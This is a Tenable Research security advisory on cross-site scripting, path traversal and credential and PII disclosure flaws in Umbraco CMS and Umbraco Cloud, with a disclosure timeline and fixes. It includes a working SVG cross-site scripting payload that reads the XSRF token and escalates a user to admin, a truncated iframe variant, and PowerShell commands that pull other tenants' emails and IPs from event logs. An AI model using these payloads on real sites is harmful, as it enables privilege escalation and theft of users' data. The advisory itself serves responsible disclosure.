tenable

Umbraco Cloud CMS Multiple Vulnerabilities

Medium

← View More Research Advisories

Synopsis

Tenable Research discovered multiple vulnerabilities in both Umbraco CMS and the Umbraco Cloud CMS platform resulting in a number of cross-site scripting (XSS) vulnerabilities, and the potential disclosure of sensitive internal credentials and user PII.

Umbraco CMS

Authenticated stored XSS via iframes in rich-text content editor - CVE-2020-5809

A stored XSS vulnerability exists in Umbraco CMS. An authenticated user can inject arbitrary JavaScript code into iframes when editing content using the TinyMCE rich-text editor, as TinyMCE is configured to allow iframes by default in Umbraco CMS.

Proof of Concept

Placing the following payload in an otherwise benign/normal content update will result in an attempt to escalate the attacker's user id to the admin group (which, if triggered by an admin will succeed). Once a user is an admin, they could potentially install a malicious umbraco package and gain remote code execution.

```
<iframe srcdoc="<script> var xhr = new XMLHttpRequest();xhr.open('POST', '/umbraco/backoffice/UmbracoApi/Users/PostSetUserGroupsOnUsers?userGroupAliases=writer&userGroupAliases=
```

Authenticated stored XSS via uploaded .svg files in media - CVE-2020-5810

A stored XSS vulnerability exists in Umbraco CMS. An authenticated user authorized to upload media can upload a malicious .svg file which act as a stored XSS payload.

If an attacker convinces another user to follow the direct link to that svg file (http://<umbracosite>/media/xyz/attack.svg), the attacker will be able to execute javascript in the context of the victim's browser.

Proof of Concept

The following, saved as and uploaded as a .svg file will act as a stored XSS payload. If triggered by an admin, it will add the attacker's userid to the admin group.

```
<svg version="1.1" width="200" height="200" xmlns="http://www.w3.org/2000/svg">
   <script type="text/javascript">
      var xhr = new XMLHttpRequest();
xhr.open('POST', '/umbraco/backoffice/UmbracoApi/Users/PostSetUserGroupsOnUsers?userGroupAliases=writer&amp;userGroupAliases=admin&amp;userIds=<attackerId>', true);
xhr.setRequestHeader('X-UMB-XSRF-TOKEN', document.cookie.match(/UMB-XSRF-TOKEN=[^;]+/g)[0].split('=')[1]);
xhr.send();
   </script>
</svg>
```

Path traversal and arbitrary file write during package installation CVE-2020-5811

An authenticated path traversal vulnerability exists during package installation in Umbraco CMS, which could result in arbitrary files being written outside of the site home and expected paths when installing an Umbraco package.

When installing a package, files in the <files> section of the package.xml can be given an orgPath which is outside of the site's home directory (either using a relative or absolute path), allowing an attacker to craft a malicious package which could write an arbitrary file to anywhere the service account/user running the web server has permissions.

While understandable given it is an administrative feature, a package which places a file outside of the site home will then refuse to be uninstalled, as the uninstallation process does check that the files are within the site home (unlike the installation process).

Umbraco Cloud CMS Platform

The Umbraco Cloud CMS platform offers users access to both their Umbraco CMS instance, as well as Powershell / console access (via Kudu tools) to the underlying Azure Windows Server instance on which the CMS is hosted.

The Windows Server instances are multi-tenant, meaning that multiple users' individual Umbraco Cloud CMS sites are hosted per server, with each having its own unique site name / id. The CMS and Kudu Tools are running as low-privileged IIS Application Pool Identities, however they still had access to potentially sensitive files and Windows event logs containing other users' usernames/emails and IP addresses.

Disclosure of usernames/emails corresponding to site name / id via Concorde.Messaging.ServiceRelay-Log

Using powershell via Kudu on scm.s1.umbraco.io, Umbraco Cloud users can potentially disclose other users' emails (and the individual site name they belong to) by parsing the Concorde.Messaging.ServiceRelay-Log event logs.

The usernames are disclosed as a result of the emails being used as the filename for the backoffice .courier files.

Proof of Concept

```
get-eventlog -logname Concorde* -message "*backoffice\users*" -Newest 5 | format-list -property message
```

Example Output

```
Result:
Commit Result: Files committed to 'master (refs/heads/master)' in 'C:\DWASFiles\Sites\<site name/id>\VirtualDirectory0\site\repository' because Success.
IsCurrentRepositoryHead? True (Checkout master-branch?False)
Current Revision: <some commit>, Previous Revision: <some commit>.
Files: C:\DWASFiles\Sites\<site name/id>VirtualDirectory0\site\repository\data\backoffice\users\_user_tenable.com.courier
```

Disclosure of user IPs (and usernames/emails), site domain name and site name/id via Application event log

Due to .NET errors on the individual hosted Umbraco Cloud sites being logged in the Application event log, it is possible to see user IP addresses which were accessing the sites when the error occurred, the unique site name / id, and the domain name at which the site is hosted.

Additionally, if the user was an authenticated user / admin, it will show their username/email.

Proof of Concept

```
get-eventlog -logname Application -message "*Request URL*" -Newest 5 | format-list -property message

Or, if specifically looking for any authenticated usernames/IPs:

get-eventlog -logname Application -message "*authenticated: True*" -Newest 5 | format-list -property message
```

Example Output

The following is a small relevant section of the event message, with the site domain name and site name/id removed, and the username/email changed.

```
Request information:
            Request URL: https://<domain_name.tld>:443/umbraco/backoffice/UmbracoApi/Macro/GetMacroResultAsHtmlForEditor
            Request path:
        /umbraco/backoffice/UmbracoApi/Macro/GetMacroResultAsHtmlForEditor
            User host address: <IP Address>
            User: user@tenable.com
            Is authenticated: True
            Authentication Type: UmbracoBackOffice
            Thread account name: IIS
        APPPOOL\<site name/id>
```

Disclosure of internal Umbraco ElasticSearch credentials

As a result of users having access to files outside of their site homes / local directories, it is possible for users to download Concorde.Messaging.ServiceRelay.exe from C:\Deployments\MessagingService\deployments\. This contains static credentials for an Umbraco Elasticsearch instance.

You can then use a tool like dnSpy tool to read the .NET code.

The credentials, as well as the corresponding elasticsearch uri, are located in the SetupElasticsearchClient method, in the Service class under Concorde.Messaging.ServiceRelay.

```
// Token: 0x06000085 RID: 133 RVA: 0x00007670 File Offset: 0x00005870
public static ElasticClient SetupElasticsearchClient(string indexName)
{
    ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls12;
    ConnectionSettings connectionSettings = new ConnectionSettings(new Uri("https://
                                                                    .gcp.cloud.es.io:9243/"));
    connectionSettings.EnableHttpCompression(true);
    connectionSettings.ThrowExceptions(true);
    connectionSettings.BasicAuthentication("      ", "                ");
    connectionSettings.DefaultIndex(indexName);
    ElasticClient elasticClient = new ElasticClient(connectionSettings);
    if (!elasticClient.IndexExists(indexName, null).Exists)
    {
        elasticClient.CreateIndex(indexName, null);
    }
    return elasticClient;
}
```

Disclosure of internal Umbraco Slack User Token

The file C:\KuduService\artifacts\logcommits\LogGitCommits.exe.config contained a slack username and token which could be used to access the internal Umbraco Slack.

```
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <appSettings>
    <add key="SlackChannel" value="                " />
    <add key="SlackToken" value="                                                " />
    <add key="SlackUsername" value="      " />
    <add key="SlackIconUrl" value="https://www.umbraco.io/content/images/system-gravatar.png" />
    <add key="FindSitePrefix" value="                                                " />
    <add key="ManagementApiUrl" value="                                    " />
    <add key="ClientSettingsProvider.ServiceUri" value="" />
  </appSettings>
  <system.web>
    <membership defaultProvider="ClientAuthenticationMembershipProvider">
      <providers>
        <add name="ClientAuthenticationMembershipProvider" type="System.Web.ClientServices.Providers.ClientFormsAuthenticationM
      </providers>
    </membership>
    <roleManager defaultProvider="ClientRoleProvider" enabled="true">
      <providers>
        <add name="ClientRoleProvider" type="System.Web.ClientServices.Providers.ClientRoleProvider, System.Web.Extensions, Ver
      </providers>
    </roleManager>
  </system.web>
</configuration>
```

Solution

Umbraco CMS Vulnerabilities:

CVE-2020-5810: Add svg to the list of disallowedUploadFiles in umbracoSettings.config

Umbraco Cloud Platform:

Umbraco has updated the permissions on sensitive files and event logs to restrict access, and removed sensitive information from those still accessible.

Disclosure Timeline

9/25/2020 - Vulnerabilities Discovered
9/30/2020 - Tenable sends vulnerability report to Umbraco.
10/02/2020 - Umbraco acknowledges, and indicates that issues are being investigated.
10/06/2020 - Umbraco notifies Tenable that the issues are being addressed.
10/14/2020 - Umbraco notifies Tenable that fixes have been pushed
10/14/2020 - Tenable notes a workaround for one of the issues, informs Umbraco.
10/19/2020 - Umbraco notifies Tenable that workaround is also being addressed.
10/20/2020 - Umbraco informs Tenable that the workaround has been addressed.
12/30/2020 - Advisory updated with CMS vulnerabilities on 90 day disclosure date

Risk Information

CVE ID: CVE-2020-5809
CVE-2020-5810
CVE-2020-5811
Tenable Advisory ID: TRA-2020-59
Credit: Evan Grant

CVSSv2 Base / Temporal Score: 4.0
CVSSv2 Vector: AV:N/AC:L/Au:S/C:P/I:N/A:N
CVSSv3 Base / Temporal Score: 6.5
CVSSv3 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected Products: Umbraco Cloud CMS Platform
Umbraco CMS
Risk Factor: Medium

Advisory Timeline

10/21/2020 - Advisory released.
12/30/2020 - Advisory updated.
1/08/2021 - Noted mitigations for CVE-2020-5809 / CVE-2020-5810

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media